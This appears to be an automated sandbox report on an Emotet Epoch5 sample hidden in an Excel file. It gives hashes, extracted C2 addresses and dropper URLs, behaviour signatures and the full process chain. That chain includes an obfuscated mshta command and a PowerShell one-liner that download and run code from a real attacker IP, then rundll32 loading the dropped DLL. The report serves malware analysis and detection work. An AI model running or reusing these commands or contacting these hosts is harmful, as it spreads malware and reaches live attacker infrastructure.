emotet | f1efeeda1b91b619cfbc4426321258de32311bfa52493314b01a8219547ce722

General

Target

tmp2gk55_pm.xls
Size

35KB
MD5

0e5337dabc5bd47c306f7c58244b1fb7
SHA1

7d924b991f7b5628fa92ccba8f0aebc9bd74f3a2
SHA256

f1efeeda1b91b619cfbc4426321258de32311bfa52493314b01a8219547ce722
SHA512

e5245aa07d872e8ecfaa1655a8b6747737e5eaf06fb31f3d9e70acc2a1e0b882fa0b3f73bdf6a33ff106e9cfcc54b8a3cf5e0f486a1fcbb96335f0809b64388b

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3176	3144	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

37 2964 mshta.exe
40 2108 powershell.exe
42 2108 powershell.exe
44 2108 powershell.exe
51 2400 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1696 rundll32.exe
636 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Oolyxokl\zvvvsxymppnor.ztk rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4064 2964 WerFault.exe mshta.exe

flow	pid	process
37	2964	mshta.exe
40	2108	powershell.exe
42	2108	powershell.exe
44	2108	powershell.exe
51	2400	rundll32.exe

pid	process
1696	rundll32.exe
636	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Oolyxokl\zvvvsxymppnor.ztk	rundll32.exe

pid	pid_target	process	target process
4064	2964	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3144 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
2108	powershell.exe
2108	powershell.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
2108	powershell.exe
2400	rundll32.exe
2400	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2108 powershell.exe
Token: SeDebugPrivilege 4064 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	4064	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3144 wrote to memory of 3176	3144	EXCEL.EXE	CMD.EXE
PID 3144 wrote to memory of 3176	3144	EXCEL.EXE	CMD.EXE
PID 3176 wrote to memory of 2964	3176	CMD.EXE	mshta.exe
PID 3176 wrote to memory of 2964	3176	CMD.EXE	mshta.exe
PID 2964 wrote to memory of 2108	2964	mshta.exe	powershell.exe
PID 2964 wrote to memory of 2108	2964	mshta.exe	powershell.exe
PID 2108 wrote to memory of 3836	2108	powershell.exe	cmd.exe
PID 2108 wrote to memory of 3836	2108	powershell.exe	cmd.exe
PID 3836 wrote to memory of 1696	3836	cmd.exe	rundll32.exe
PID 3836 wrote to memory of 1696	3836	cmd.exe	rundll32.exe
PID 3836 wrote to memory of 1696	3836	cmd.exe	rundll32.exe
PID 1696 wrote to memory of 636	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 636	1696	rundll32.exe	rundll32.exe
PID 1696 wrote to memory of 636	1696	rundll32.exe	rundll32.exe
PID 636 wrote to memory of 1744	636	rundll32.exe	rundll32.exe
PID 636 wrote to memory of 1744	636	rundll32.exe	rundll32.exe
PID 636 wrote to memory of 1744	636	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 2400	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 2400	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 2400	1744	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp2gk55_pm.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3144

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3176

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2108

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:3836

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:636

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Oolyxokl\zvvvsxymppnor.ztk",SHDfK
8⤵
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Oolyxokl\zvvvsxymppnor.ztk",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2400

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2964 -s 1652
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4064

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
memory/636-345-0x0000000005520000-0x0000000005547000-memory.dmp

Filesize
156KB

Download
memory/636-351-0x0000000005720000-0x0000000005747000-memory.dmp

Filesize
156KB

Download
memory/636-347-0x0000000005580000-0x00000000055A7000-memory.dmp

Filesize
156KB

Download
memory/636-343-0x00000000054C0000-0x00000000054E7000-memory.dmp

Filesize
156KB

Download
memory/636-341-0x0000000005360000-0x0000000005387000-memory.dmp

Filesize
156KB

Download
memory/636-339-0x0000000005260000-0x0000000005287000-memory.dmp

Filesize
156KB

Download
memory/636-337-0x0000000004D80000-0x0000000004DA7000-memory.dmp

Filesize
156KB

Download
memory/1696-334-0x0000000004290000-0x00000000042B7000-memory.dmp

Filesize
156KB

Download
memory/1744-348-0x0000000004E30000-0x0000000004E57000-memory.dmp

Filesize
156KB

Download
memory/2108-296-0x00000237B6CE0000-0x00000237B6D1C000-memory.dmp

Filesize
240KB

Download
memory/2108-285-0x00000237B66D3000-0x00000237B66D5000-memory.dmp

Filesize
8KB

Download
memory/2108-275-0x00000237B6670000-0x00000237B6692000-memory.dmp

Filesize
136KB

Download
memory/2108-312-0x00000237B66D6000-0x00000237B66D8000-memory.dmp

Filesize
8KB

Download
memory/2108-284-0x00000237B66D0000-0x00000237B66D2000-memory.dmp

Filesize
8KB

Download
memory/2108-307-0x00000237CF380000-0x00000237CF3F6000-memory.dmp

Filesize
472KB

Download
memory/3144-115-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-119-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-116-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-118-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-117-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-129-0x00007FFDFE4D0000-0x00007FFDFE4E0000-memory.dmp

Filesize
64KB

Download
memory/3144-128-0x00007FFDFE4D0000-0x00007FFDFE4E0000-memory.dmp

Filesize
64KB

Download
memory/3144-390-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-391-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-392-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3144-393-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads